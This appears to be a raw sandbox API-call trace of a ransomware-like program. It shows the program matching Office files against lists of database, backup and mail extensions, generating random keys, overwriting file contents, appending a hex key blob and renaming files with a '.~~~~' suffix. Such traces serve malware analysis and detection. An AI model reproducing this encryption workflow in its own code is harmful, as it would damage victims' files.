	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".ndf") returned 0x0
	[0142.273] lstrlenW (lpString=".DB") returned 3
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DB") returned 0x0
	[0142.273] lstrlenW (lpString=".sql") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".sql") returned 0x0
	[0142.273] lstrlenW (lpString=".MYD") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".MYD") returned 0x0
	[0142.273] lstrlenW (lpString=".DBT") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DBT") returned 0x0
	[0142.273] lstrlenW (lpString=".ACCDB") returned 6
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.273] lstrlenW (lpString=".fdb") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".fdb") returned 0x0
	[0142.273] lstrlenW (lpString=".bak") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".bak") returned 0x0
	[0142.273] lstrlenW (lpString=".myd") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".myd") returned 0x0
	[0142.273] lstrlenW (lpString=".DTXS") returned 5
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.273] lstrlenW (lpString=".ckp") returned 4
	[0142.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".ckp") returned 0x0
	[0142.273] lstrlenW (lpString=".dbt") returned 4
	[0142.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".dbt") returned 0x0
	[0142.274] lstrlenW (lpString=".db") returned 3
	[0142.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".db") returned 0x0
	[0142.274] lstrlenW (lpString=".TXT") returned 4
	[0142.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".TXT") returned 0x0
	[0142.274] lstrlenW (lpString=".MDF") returned 4
	[0142.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".MDF") returned 0x0
	[0142.274] lstrlenW (lpString=".bdb") returned 4
	[0142.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".bdb") returned 0x0
	[0142.274] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.274] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.274] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.275] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.275] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.276] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26226587121) returned 1
	[0142.276] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe34d6f0, dwHighDateTime=0x1d60e1e)) 
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa5f0
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa5f0 | out: hHeap=0x300000) returned 1
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.276] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a9408
	[0142.276] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0142.277] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9408 | out: hHeap=0x300000) returned 1
	[0142.277] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.277] GetLastError () returned 0x0
	[0142.277] GetLastError () returned 0x0
	[0142.277] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.277] GetLastError () returned 0x0
	[0142.277] GetLastError () returned 0x0
	[0142.278] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x1706, lpOverlapped=0x0) returned 1
	[0142.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffe8fa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.355] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x1706, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x1706, lpOverlapped=0x0) returned 1
	[0142.355] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.355] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.356] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.356] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.356] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.356] CloseHandle (hObject=0x114) returned 1
	[0142.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9600
	[0142.407] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR11F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir11f.gif.~~~~")) returned 1
	[0142.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9600 | out: hHeap=0x300000) returned 1
	[0142.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.422] GetLastError () returned 0x0
	[0142.422] RtlWakeConditionVariable () returned 0x0
	[0142.422] GetCurrentThreadId () returned 0x9cc
	[0142.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".scr") returned 0x0
	[0142.422] lstrlenW (lpString=".cmd") returned 4
	[0142.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".cmd") returned 0x0
	[0142.422] lstrlenW (lpString=".dll") returned 4
	[0142.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dll") returned 0x0
	[0142.422] lstrlenW (lpString=".bat") returned 4
	[0142.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".bat") returned 0x0
	[0142.422] lstrlenW (lpString=".cpl") returned 4
	[0142.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".cpl") returned 0x0
	[0142.422] lstrlenW (lpString=".sys") returned 4
	[0142.422] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".sys") returned 0x0
	[0142.422] lstrlenW (lpString=".msc") returned 4
	[0142.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".msc") returned 0x0
	[0142.423] lstrlenW (lpString=".com") returned 4
	[0142.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".com") returned 0x0
	[0142.423] lstrlenW (lpString=".lnk") returned 4
	[0142.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".lnk") returned 0x0
	[0142.423] lstrlenW (lpString=".msp") returned 4
	[0142.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".msp") returned 0x0
	[0142.423] lstrlenW (lpString=".pif") returned 4
	[0142.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".pif") returned 0x0
	[0142.423] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.423] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.423] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir18f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0142.425] lstrlenW (lpString=".sqb") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".sqb") returned 0x0
	[0142.425] lstrlenW (lpString=".ost") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".ost") returned 0x0
	[0142.425] lstrlenW (lpString=".txt") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".txt") returned 0x0
	[0142.425] lstrlenW (lpString=".mdt") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".mdt") returned 0x0
	[0142.425] lstrlenW (lpString=".BDB") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".BDB") returned 0x0
	[0142.425] lstrlenW (lpString=".eql") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".eql") returned 0x0
	[0142.425] lstrlenW (lpString=".DBF") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DBF") returned 0x0
	[0142.425] lstrlenW (lpString=".EQL") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".EQL") returned 0x0
	[0142.425] lstrlenW (lpString=".FDB") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".FDB") returned 0x0
	[0142.425] lstrlenW (lpString=".EDB") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".EDB") returned 0x0
	[0142.425] lstrlenW (lpString=".DACPAC") returned 7
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.425] lstrlenW (lpString=".VHD") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".VHD") returned 0x0
	[0142.425] lstrlenW (lpString=".DBV") returned 4
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DBV") returned 0x0
	[0142.425] lstrlenW (lpString=".dacpac") returned 7
	[0142.425] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.425] lstrlenW (lpString=".sdf") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".sdf") returned 0x0
	[0142.426] lstrlenW (lpString=".accdb") returned 6
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".accdb") returned 0x0
	[0142.426] lstrlenW (lpString=".DBX") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DBX") returned 0x0
	[0142.426] lstrlenW (lpString=".MDT") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".MDT") returned 0x0
	[0142.426] lstrlenW (lpString=".SQB") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".SQB") returned 0x0
	[0142.426] lstrlenW (lpString=".vhd") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".vhd") returned 0x0
	[0142.426] lstrlenW (lpString=".bac") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".bac") returned 0x0
	[0142.426] lstrlenW (lpString=".mdf") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".mdf") returned 0x0
	[0142.426] lstrlenW (lpString=".BAK") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".BAK") returned 0x0
	[0142.426] lstrlenW (lpString=".BAC") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".BAC") returned 0x0
	[0142.426] lstrlenW (lpString=".dbs") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dbs") returned 0x0
	[0142.426] lstrlenW (lpString=".vhdx") returned 5
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".vhdx") returned 0x0
	[0142.426] lstrlenW (lpString=".NDF") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".NDF") returned 0x0
	[0142.426] lstrlenW (lpString=".dat") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dat") returned 0x0
	[0142.426] lstrlenW (lpString=".DBS") returned 4
	[0142.426] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DBS") returned 0x0
	[0142.426] lstrlenW (lpString=".CKP") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".CKP") returned 0x0
	[0142.427] lstrlenW (lpString=".edb") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".edb") returned 0x0
	[0142.427] lstrlenW (lpString=".PST") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".PST") returned 0x0
	[0142.427] lstrlenW (lpString=".dbf") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dbf") returned 0x0
	[0142.427] lstrlenW (lpString=".SQL") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".SQL") returned 0x0
	[0142.427] lstrlenW (lpString=".pst") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".pst") returned 0x0
	[0142.427] lstrlenW (lpString=".dbv") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dbv") returned 0x0
	[0142.427] lstrlenW (lpString=".SDF") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".SDF") returned 0x0
	[0142.427] lstrlenW (lpString=".dtxs") returned 5
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dtxs") returned 0x0
	[0142.427] lstrlenW (lpString=".db3") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".db3") returned 0x0
	[0142.427] lstrlenW (lpString=".OST") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".OST") returned 0x0
	[0142.427] lstrlenW (lpString=".dbx") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dbx") returned 0x0
	[0142.427] lstrlenW (lpString=".DB3") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DB3") returned 0x0
	[0142.427] lstrlenW (lpString=".DAT") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DAT") returned 0x0
	[0142.427] lstrlenW (lpString=".VHDX") returned 5
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".VHDX") returned 0x0
	[0142.427] lstrlenW (lpString=".ndf") returned 4
	[0142.427] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".ndf") returned 0x0
	[0142.428] lstrlenW (lpString=".DB") returned 3
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DB") returned 0x0
	[0142.428] lstrlenW (lpString=".sql") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".sql") returned 0x0
	[0142.428] lstrlenW (lpString=".MYD") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".MYD") returned 0x0
	[0142.428] lstrlenW (lpString=".DBT") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DBT") returned 0x0
	[0142.428] lstrlenW (lpString=".ACCDB") returned 6
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.428] lstrlenW (lpString=".fdb") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".fdb") returned 0x0
	[0142.428] lstrlenW (lpString=".bak") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".bak") returned 0x0
	[0142.428] lstrlenW (lpString=".myd") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".myd") returned 0x0
	[0142.428] lstrlenW (lpString=".DTXS") returned 5
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".DTXS") returned 0x0
	[0142.428] lstrlenW (lpString=".ckp") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".ckp") returned 0x0
	[0142.428] lstrlenW (lpString=".dbt") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".dbt") returned 0x0
	[0142.428] lstrlenW (lpString=".db") returned 3
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".db") returned 0x0
	[0142.428] lstrlenW (lpString=".TXT") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".TXT") returned 0x0
	[0142.428] lstrlenW (lpString=".MDF") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".MDF") returned 0x0
	[0142.428] lstrlenW (lpString=".bdb") returned 4
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".bdb") returned 0x0
	[0142.428] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.428] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR18F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
